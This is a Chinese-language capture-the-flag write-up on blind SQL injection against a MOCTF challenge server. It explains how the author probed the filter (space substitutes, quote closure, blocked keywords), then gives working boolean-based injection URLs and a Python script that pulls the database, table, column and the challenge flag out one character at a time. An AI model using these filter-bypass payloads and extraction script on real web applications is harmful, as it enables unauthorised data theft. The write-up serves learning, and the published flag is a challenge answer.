最近在练习sql注入写脚本,记录一下思路,刚学的and 1=1也拿出来溜溜
首先,没有被过滤是正常显示。 没有被过滤但是查询不到就是空白,比如?id=99999 waf过滤关键词,提示whatfuck
①
我首先判断的是有没有用trim()函数,要知道trim函数和过滤是不一样的。
区别很简单,举个例子。trim默认移除字符串左右两边的空格
http://119.23.73.3:5004/?id=1(此处1后边有空格) 如果使用了trim()函数,也过滤掉了空格。 那么这个不会出waf的,而是会正常显示id=1的内容。 会让你以为空格并没有过滤,是因为trim函数把空格去掉后才用waf函数进行的判断。
测试的方法很简单?id=1 1,让空格在里面就好了。
发现过滤了空格,寻找能够代替空格的字符。
%20 %09 %0a %0b %0c %0d %a0 %00 /**/ ()
发现只有()没有被过滤。
②
判断是整形注入还是字符型注入,?id=1-0,发现不是id=1的界面,不是整形注入
③
判断id的保护是什么?首先猜测是引号,输入1'1,(这里为了排除trim函数的影响),发现没有出现waf,但是会出现空白。所以是单引号保护,因为单引号没有被过滤,会匹配原来保护id的两个单引号的前一个,导致了有一了孤零零的单引号没有人和他配对,就会出错,什么也查不出来。
④
判断截断字符有没有被过滤,发现尝试%23,--+,--%20都会被过滤。
所以考虑and '1这样绕过,匹配最后的那个',不让他孤零零,有任何他匹配就不会出错。
⑤
判断其他的过滤字符
union被过滤,无法使用联合查询 > < like regexp被过滤,但是=没有被过滤,between and 也没有被过滤。 or被过滤,information这个一会再说,有点特殊。 mid,ascii没有被过滤,逗号也没有被过滤。
⑥
判断逻辑
http://119.23.73.3:5004/?id=1%27and(select(0))and%271 http://119.23.73.3:5004/?id=1%27and(select(1))and%271
发现可以判断出来注入的逻辑,只要构造语句让select(0)和select(1)里面的1,0值出现就可以判断了。
⑦
脚本,py3
import requests
shiliu="0x20"
zuihou="0x7f"
i=1
while True:
#http://119.23.73.3:5004/?id=1%27and(select(mid((select(database())),1,1))=%27m%27)and%271 #MOCTF
#url="http://119.23.73.3:5004/?id=1%27and(select(select(group_concat(table_name))from(information_schema.tables)where(table_schema)='moctf')between("+shiliu+")and(0x7f))and%271" #DO_Y0U_L1KE_LONG_T4BLE_NAME,NEWS
#url="http://119.23.73.3:5004/?id=1%27and(select(select(group_concat(column_name))from(information_schema.columns)where(table_name)='do_y0u_l1ke_long_t4ble_name')between("+shiliu+")and(0x7f))and%271" #D0_YOU_ALS0_L1KE_VERY_LONG_COLUMN_NAME
url="http://119.23.73.3:5004/?id=1%27and(select(ascii(mid((select(d0_you_als0_l1ke_very_long_column_name)from(do_y0u_l1ke_long_t4ble_name)),"+str(i)+",1)))between("+shiliu+")and(0x7f))and%271" #D0_YOU_ALS0_L1KE_VERY_LONG_COLUMN_NAME
res=requests.get(url)
#print(url)
#MOCTF{B1IND_SQL_1NJECTI0N_G0OD}
if "Hello" not in res.text:
i+=1
x=hex(int(shiliu,16)-1)
if '20' in x:
break;
print(x)
zuihou = shiliu + zuihou.replace("0x","")
shiliu="0x20"
#shiliu=x+shiliu.replace("0x","") #跑前三个的时候这个不能注释掉,跑最后一个得注释掉
shiliu=str(hex(int(shiliu,16)+1))
数据库我是手动测试的,是moctf,然后剩下的,一开始偷了懒,没用ascii跑,结果flag大小写都提交不上,原因是flag有大写也有小写,数据库是对大小写不敏感的,用ascii就可以了
第一个语句我没用脚本跑,自己用手试出来的。
moctf{b1ind_SQL_1njecti0n_g0od} 兄弟们不会做的就问啊,输出一下url,挨个看看怎么跑的,直接提交flag没啥用
最后说一下那个or被过滤了,为什么information没有被过滤。
information确实被过滤了,但是information只要加上其他为被过滤的字符,也不会被过滤。
为此还去群里问了下,
出题人:Waf加了智能识别语义,information语境就不过滤,这样听起来会不会更牛逼